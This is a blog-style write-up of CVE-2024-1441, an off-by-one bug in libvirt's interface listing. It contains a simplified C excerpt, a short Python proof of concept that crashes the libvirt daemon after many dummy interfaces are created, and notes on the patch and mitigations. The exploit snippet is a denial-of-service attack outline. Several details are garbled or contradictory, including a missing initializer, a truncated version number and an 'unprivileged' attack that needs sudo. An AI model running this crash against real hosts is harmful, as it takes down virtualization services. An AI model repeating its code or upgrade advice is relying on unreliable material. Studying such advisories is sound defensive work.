CVE-2024-1441 - Off-by-One Vulnerability in libvirt’s udevListInterfacesByStatus — How to Crash libvirt Daemon with a Simple Exploit
libvirt is a core component in virtualization stacks—it lets tools like QEMU, KVM, Xen, and others handle virtual machines and networking safely. But even widely deployed libraries can have critical bugs.
In February 2024, CVE-2024-1441 was assigned to a vulnerability in how libvirt’s udevListInterfacesByStatus() function manages network interfaces. A classic “off-by-one” error allowed attackers to crash the libvirt daemon with a simple denial-of-service exploit.
This post explains what went wrong, shows a code snippet highlighting the bug, demonstrates how it can be exploited, and links to official sources for those interested in further details.
What Is CVE-2024-1441?
Summary:
CVE-2024-1441 is an off-by-one memory error in the udevListInterfacesByStatus() function of libvirt. If an attacker sends a request with more interfaces than the names array is designed to hold, the function writes outside the array’s boundaries. This causes libvirt to crash, resulting in a denial-of-service (DoS) even from an unprivileged client.
Vulnerability Details:
Understanding the Flaw: The udevListInterfacesByStatus() Off-by-One
When listing network interfaces, libvirt collects interface names into a static array (let’s call it names). Here’s a simplified idea of what that looks like:
#define MAX_INTERFACES 16
int udevListInterfacesByStatus(virConnectPtr conn,
char **const names,
int maxnames,
unsigned int flags) {
int nfound = ;
...
while ((iface = get_next_iface()) != NULL && nfound < maxnames) {
names[nfound++] = strdup(iface->name);
}
names[nfound] = NULL;
return nfound;
}
The Off-by-One Error
Suppose you pass a maxnames value of 16 (the max size), and there are 16+ interfaces in the system. When the code writes names[nfound] = NULL;, after the last entry, nfound is 16, so it writes names[16], but the array is only sized for names[] to names[15]. This results in memory corruption—a classic off-by-one vulnerability.
In many cases, this causes a segmentation fault (SIGSEGV), bringing down the libvirt daemon.
How Is This Exploited?
Exploiting CVE-2024-1441 is surprisingly easy under the right conditions. If you can communicate with the libvirt daemon, send a request that will force it to enumerate more interfaces than it can safely store.
Here's a proof-of-concept outline (assuming you have unprivileged access to the libvirt API, e.g., on qemu:///system via socket):
import libvirt
import os
# The trick: artificially create many interfaces
# On Linux, use dummy interfaces for trigger:
# sudo modprobe dummy numdummies=30
conn = libvirt.open('qemu:///system')
try:
ifaces = conn.listInterfaces()
print(f"Found interfaces: {ifaces}")
except libvirt.libvirtError as e:
print("Crash likely! Daemon down:", e)
You can create enough dummy interfaces (over 16) before running this snippet, and when you call listInterfaces(), libvirt will crash.
# Fix
The bug was patched in commit d43cbcdd63. The fix ensures the array bounds are respected when writing the NULL terminator.
Patched Code
if (nfound < maxnames)
names[nfound] = NULL;
Mitigation:
Upgrade to libvirt 8.6. or newer.
- Restrict socket/API access to trusted users only.
References
- Official CVE Record
- Red Hat Security Advisory
- libvirt Patch commit
- libvirt API documentation
Conclusion
CVE-2024-1441 is a stark reminder that even widely used libraries can have “simple” bugs with big impact. If your system runs libvirt, update it fast or restrict untrusted users from accessing the daemon. This flaw is easy to trigger and will crash your virtual machine platform in seconds.
That’s how a classic off-by-one error can take down an enterprise-grade hypervisor tool!
Timeline
Published on: 03/11/2024 14:15:06 UTC
Last modified on: 04/01/2024 13:17:00 UTC